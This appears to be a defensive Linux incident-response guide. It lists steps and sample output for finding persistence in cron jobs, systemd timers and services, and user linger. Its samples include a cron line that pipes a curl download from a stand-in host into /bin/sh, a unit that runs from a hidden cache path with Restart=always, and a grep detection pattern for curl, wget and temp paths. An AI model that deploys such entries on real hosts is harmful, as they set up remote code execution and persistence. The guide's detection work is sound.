Persistence checks after a suspicious login or file change need to include the places that run commands without an interactive shell. Cron and systemd can restart a payload after logout, reboot, or a timer event, so a clean process list at one moment does not prove the host is clear.

Cron loads per-user crontabs, /etc/crontab, /etc/cron.d, and periodic directories such as /etc/cron.daily. Systemd records autostart state in enabled services and timers, then connects timer units to the service commands they activate. Checking both surfaces catches scheduled and boot-time entries that do not show up as an ordinary login shell.

Treat unknown entries as evidence first. Names can be intentionally dull, and legitimate backup, monitoring, and package jobs often look similar until the command path, account, owner, timestamp, and journal history are compared. Prioritize entries that run from home, hidden, or temporary paths, use curl or wget, call interpreters with downloaded content, set Restart=always, or use user services with linger enabled.

Steps to check for persistence with cron and systemd in Linux:

  1. List the root user's crontab entries.
    $ sudo crontab -l
    0 5 * * * /usr/local/bin/backup.sh
    15 * * * * /usr/local/bin/rotate-logs.sh

    No crontab for root only rules out that user's spool file; system cron files and systemd units still need review.
    Tool: Cron Expression Parser

  2. List the target account's crontab entries.
    $ sudo crontab -l -u alice
    @reboot /home/alice/.local/bin/check-updates.sh

    Replace alice with the target account name and flag jobs using @reboot or executing from hidden or temporary paths.

  3. List system cron files and periodic script directories.
    $ sudo ls -l /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
    /etc/cron.d:
    total 8
    -rw-r--r-- 1 root root 188 Feb 13 12:17 e2scrub_all
    -rw-r--r-- 1 root root 166 Jun 13 20:45 update-check
    
    /etc/cron.daily:
    total 8
    -rwxr-xr-x 1 root root 1478 Apr  7 09:02 apt-compat
    -rwxr-xr-x 1 root root  123 Dec 16 00:50 dpkg
    
    /etc/cron.hourly:
    total 0
    
    /etc/cron.monthly:
    total 0
    
    /etc/cron.weekly:
    total 0

    System-wide schedules may also be defined in /etc/crontab and /etc/anacrontab when those files exist.

  4. Search cron files for common persistence indicators.
    $ sudo grep -R --line-number --extended-regexp --ignore-case 'curl|wget|/tmp|/dev/shm|\.cache' /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
    /etc/cron.d/update-check:4:*/30 * * * * alice /usr/bin/curl -fsS https://updates.example.net/check.sh | /bin/sh

    No output means the selected indicators were not found. It does not prove that cron contains no persistence.

  5. List systemd timers with the services they activate.
    $ systemctl list-timers --all --no-pager
    NEXT                        LEFT LAST                        PASSED UNIT               ACTIVATES
    Sun 2026-06-14 21:00:00 UTC 14min Sun 2026-06-14 20:30:01 UTC 16min ago update-check.timer update-check.service
    Mon 2026-06-15 00:00:00 UTC 3h    Sun 2026-06-14 00:00:01 UTC 20h ago apt-daily.timer   apt-daily.service
    ##### snipped #####
    7 timers listed.

    The ACTIVATES column points to the service unit that runs when the timer elapses.

  6. List enabled systemd timer unit files.
    $ systemctl list-unit-files --type=timer --state=enabled --no-pager
    UNIT FILE               STATE   PRESET
    apt-daily-upgrade.timer enabled enabled
    apt-daily.timer         enabled enabled
    dpkg-db-backup.timer    enabled enabled
    e2scrub_all.timer       enabled enabled
    fstrim.timer            enabled enabled
    motd-news.timer         enabled enabled
    update-check.timer      enabled enabled
    
    7 unit files listed.
  7. List enabled systemd service unit files.
    $ systemctl list-unit-files --type=service --state=enabled --no-pager
    UNIT FILE              STATE   PRESET
    cron.service           enabled enabled
    e2scrub_reap.service   enabled enabled
    getty@.service         enabled enabled
    systemd-pstore.service enabled enabled
    update-check.service   enabled enabled
    
    5 unit files listed.

    Enabled services are connected to boot or target activation. A service can also be started manually without being enabled, so review running processes and journal logs when the incident scope requires it.

  8. Inspect a suspicious service unit file and its drop-ins.
    $ sudo systemctl cat update-check.service
    # /etc/systemd/system/update-check.service
    [Unit]
    Description=Update check
    
    [Service]
    Type=simple
    ExecStart=/home/alice/.cache/update-check
    Restart=always
    
    [Install]
    WantedBy=multi-user.target

    Do not stop or disable an unknown unit before preserving the unit file, drop-ins, owner, timestamps, process state, and journal entries.

  9. Check whether the target account has linger enabled for user services.
    $ loginctl show-user alice --property=Linger
    Linger=yes

    Linger=yes allows the user's systemd manager to start at boot and keep running after logout.

  10. Search home directories for per-user systemd units.
    $ sudo find /home -path '*/.config/systemd/user/*' -type f
    /home/bob/.config/systemd/user/ssh-agent.service

    User unit files commonly live under /home/*/.config/systemd/user/ and may be paired as .timer + .service.

  11. Review recent journal entries for the suspicious unit.
    $ sudo journalctl -u update-check.service --since '24 hours ago' --no-pager
    Jun 14 20:30:01 host.example.net systemd[1]: Started update-check.service - Update check.
    Jun 14 20:30:01 host.example.net update-check[2841]: Downloaded update script from updates.example.net

    No journal entries in the selected time window only means the unit did not log there. Widen the time range or check rotated logs when the unit file still looks suspicious.

  12. Record unknown entries before changing state.

    Deleting crontabs or disabling units can destroy evidence and interrupt legitimate backups, monitoring, or package maintenance. Preserve the command text, file path, owner, timestamps, hashes, and log excerpts before remediation.